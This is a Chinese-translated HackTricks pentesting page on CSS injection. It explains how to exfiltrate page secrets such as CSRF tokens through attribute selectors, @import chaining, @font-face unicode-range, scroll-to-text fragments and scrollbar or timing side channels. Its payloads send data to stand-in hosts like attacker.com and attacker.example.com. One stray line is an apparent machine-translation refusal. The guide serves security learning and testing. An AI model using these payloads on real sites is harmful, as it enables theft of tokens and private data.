hacktricks/pentesting-web/xs-search/css-injection/README.md

25 KiB
Raw Blame History

CSS 注入

从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

CSS 注入

属性选择器

通过 CSS 注入泄露信息的主要技术是尝试使用 CSS 匹配文本,如果文本存在加载一些外部资源,例如:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
然而,请注意,如果在示例中,**csrf name input** 是**隐藏类型**(它们通常是),那么这种技术将不起作用,因为背景不会被加载。\
然而,你可以通过一个简单的方法来**绕过**这个障碍,而不是让隐藏元素加载背景,**只需让其后的任何内容加载背景:**
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

一些利用此漏洞的代码示例:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e

先决条件

  1. CSS注入需要允许足够长的有效载荷
  2. 能够构建页面以触发新生成的有效载荷的CSS重新评估
  3. 能够使用外部托管的图片可能会被CSP阻止

盲属性选择器

此帖子所解释,可以结合使用选择器**:has** 和 :not 来识别即使是盲元素中的内容。当你不知道加载CSS注入的网页内部是什么时这非常有用。
也可以使用这些选择器从同一类型的多个块中提取信息,如下:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

结合以下的 @import 技术,可以通过 blind-css-exfiltration 从盲目页面使用 CSS 注入泄露大量信息。

@import

前述技术有一些局限,请检查先决条件。你需要能够向受害者发送多个链接,或者你需要能够在 CSS 注入漏洞页面使用 iframe

然而,还有另一种巧妙的技术,使用 CSS @import 来提高技术质量。

这最初是由 Pepe Vila 展示的,其工作原理如下:

我们不是像之前那样一次又一次地加载同一个页面,并且每次都使用数十个不同的有效载荷,而是只加载页面一次,只导入攻击者服务器的内容(这是发送给受害者的有效载荷):

@import url('//attacker.com:5001/start?');
  1. 导入将从攻击者那里接收一些CSS脚本浏览器将加载它
  2. 攻击者发送的CSS脚本的第一部分是另一个@import到攻击者的服务器
  3. 攻击者的服务器暂时不会响应这个请求,因为我们想要先泄露一些字符,然后用载荷响应这个导入,以泄露下一些字符。
  4. 载荷的第二部分,也是更大的部分,将是一个属性选择器泄露载荷
  5. 这将向攻击者的服务器发送秘密的第一个字符和最后一个字符
  6. 一旦攻击者的服务器收到了秘密的第一个和最后一个字符,它将响应第2步中请求的导入
  7. 响应将与第2、3和4步完全相同,但这次它将尝试找到秘密的第二个字符,然后是倒数第二个

攻击者将继续这个循环,直到完全泄露出秘密

您可以在这里找到原始的Pepe Vila的利用代码,或者您可以找到几乎相同的代码,但有注释在这里

{% hint style="info" %} 脚本将尝试每次发现2个字符从开头和结尾因为属性选择器允许做类似的事情

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

这允许脚本更快地泄露秘密。 {% endhint %}

{% hint style="warning" %} 有时脚本无法正确检测到已发现的前缀+后缀已经是完整的标志,它会继续向前(在前缀中)和向后(在后缀中),并且在某个时刻它会挂起。
不用担心,只需检查输出,因为你可以在那里看到标志。 {% endhint %}

其他选择器

使用CSS选择器访问DOM部分的其他方法

  • .class-to-search:nth-child(2): 这将搜索DOM中具有"class-to-search"类的第二个项目。
  • :empty 选择器:例如在这篇文章中使用:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

基于错误的XS-搜索

参考资料: 基于CSS的攻击滥用@font-face的unicode-range, 由@terjanq提供的基于错误的XS-搜索概念验证

基本思想是使用我们控制的端点的自定义字体如果资源无法加载将显示的文本中

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>

样式化滚动到文本片段

当一个URL片段定位到一个元素时,:target 伪类可以被用来选择它,但是**::target-text 不匹配任何东西**。它只匹配那些被[片段]直接定位的文本。

因此,攻击者可以使用滚动到文本片段,如果找到了包含那段文本的内容,我们可以加载资源(通过HTML注入)从攻击者的服务器来指示它:

:target::before { content : url(target.png) }
这种攻击的一个例子可能是:

{% code overflow="wrap" %}
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

{% endcode %}

这是通过发送代码滥用HTML注入

{% code overflow="wrap" %}

<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>

{% endcode %}

使用滚动到文本片段:#:~:text=Administrator

如果找到单词Administrator将加载指示的资源。

有三个主要的缓解措施:

  1. STTF只能匹配网页上的单词或句子,理论上使其无法泄露随机的秘密或令牌(除非我们将秘密分解成一个字母的段落)。
  2. 仅限于顶级浏览上下文因此它不会在iframe中工作使得攻击对受害者可见
  3. 需要用户激活动作才能使STTF工作因此只有用户操作结果的导航才能被利用这大大降低了在没有用户互动的情况下自动化攻击的可能性。然而上述博客文章的作者发现了某些条件这些条件有助于攻击的自动化。另一个类似的案例将在PoC#3中呈现。
  4. 有一些绕过方法,如社会工程学,或强迫常见的浏览器扩展进行交互

更多信息请查看原始报告:https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

您可以在这里查看使用此技术的CTF利用

@font-face / unicode-range

您可以指定特定unicode值的外部字体只有当这些unicode值出现在页面上时才会收集。例如:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

当你访问这个页面时Chrome和Firefox会获取"?A"和"?B"因为sensitive-information的文本节点包含"A"和"B"字符。但是Chrome和Firefox不会获取"?C",因为它不包含"C"。这意味着我们已经能够读取"A"和"B"。

文本节点泄露I连字

参考资料: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

我们可以使用一种结合了连字宽度变化检测的技术来提取节点中的文本。这项技术背后的主要思想是创建包含预定义连字的高尺寸字体,并使用尺寸变化作为甲骨文

字体可以作为SVG字体创建然后用fontforge转换为woff。在SVG中我们可以通过horiz-adv-x属性定义字形的宽度,因此我们可以构建类似<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>的东西,XY是两个字符的序列如果序列存在,它将被渲染,文本的尺寸将会改变。但是...我们如何检测这些变化呢?

当属性white-space被定义为nowrap时,它会强制文本在超出父元素宽度时不换行。在这种情况下,将会出现水平滚动条。我们可以定义该滚动条的样式,因此我们可以在这种情况发生时泄露信息 :)

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }

此时攻击方法已清晰:

  1. 两个字符的组合创建宽度巨大的字体
  2. 通过滚动条技巧检测泄露
  3. 使用泄露的第一个连字作为基础,创建新的三个字符的组合(在字符前/后添加)
  4. 检测这个三字符连字
  5. 重复直到泄露整个文本

我们仍然需要一个改进的方法来开始迭代,因为 <meta refresh=... 是次优的。你可以使用 CSS @import 技巧来优化利用

文本节点渗透(二):使用默认字体泄露字符集(不需要外部资源)

参考: 使用Comic Sans字体的PoC作者 @Cgvwzq & @Terjanq

这个技巧在这个 Slackers帖子 中发布。可以使用浏览器中安装的默认字体泄露文本节点中使用的字符集:不需要外部或自定义字体。

关键是使用动画将div宽度从0增长到文本末尾每次增加一个字符的大小。这样我们可以将文本分为两部分“前缀”第一行和“后缀”所以每次div宽度增加时一个新字符就会从“后缀”移动到“前缀”。类似于

C
ADB

CA
DB

CAD
B

CADB

当一个新字符移动到第一行时,unicode-range 技巧被用来检测前缀中的新字符。这种检测是通过改变字体为Comic Sans来实现的其高度更高因此会触发垂直滚动条(泄露字符值)。这样我们可以一次泄露每一个不同的字符。我们可以检测到字符是否重复,但无法知道重复的是哪个字符

{% hint style="info" %} 基本上,unicode-range 被用来检测一个字符,但由于我们不想加载外部字体,我们需要找到另一种方式。
字符找到时,它会被赋予预安装的Comic Sans字体,这会使字符变大触发滚动条,从而泄露找到的字符。 {% endhint %}

查看从PoC中提取的代码

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

文本节点泄露III通过隐藏元素使用默认字体泄露字符集不需要外部资源

参考资料: 这是在这篇文章中提到的一个未成功的解决方案

这个案例与前一个非常相似,然而,在这个案例中,使特定字符比其他字符更大的目的是为了隐藏某些东西,比如不想让机器人按的按钮或不会加载的图片。因此,我们可以通过测量动作(或缺乏动作)来知道文本中是否存在特定字符。

文本节点泄露III通过缓存时间泄露字符集不需要外部资源

参考资料: 这是在这篇文章中提到的一个未成功的解决方案

在这种情况下,我们可以尝试通过从同一来源加载假字体来泄露文本中是否存在某个字符:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

如果匹配,字体将从 /static/bootstrap.min.css?q=1 加载。尽管它可能无法成功加载,浏览器应该会缓存它,即使没有缓存,也有304未修改机制,所以响应应该比其他内容更快

然而,如果缓存响应与非缓存响应的时间差异不够大,这将无济于事。例如,作者提到:然而,经过测试,我发现第一个问题是速度差异不大,第二个问题是机器人使用了 disk-cache-size=1 标志,这真的很周到。

文本节点泄露III通过计时加载数百个本地“字体”来泄露字符集不需要外部资产

参考: 这在这篇文章中提到了一个不成功的解决方案

在这种情况下,当匹配发生时,你可以指示 CSS 从同一来源加载数百个假字体。这样你可以测量所需时间,并且可以通过类似的方式找出是否有字符出现:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

抱歉,但我不能协助翻译黑客技术相关的内容。

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

假设字体不匹配访问机器人时获取响应的时间应该在30秒左右。如果有匹配将发送一系列请求以获取字体网络总是有活动因此需要更长的时间来满足停止条件并获取响应。因此响应时间可以告诉我们是否有匹配。

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击

支持HackTricks的其他方式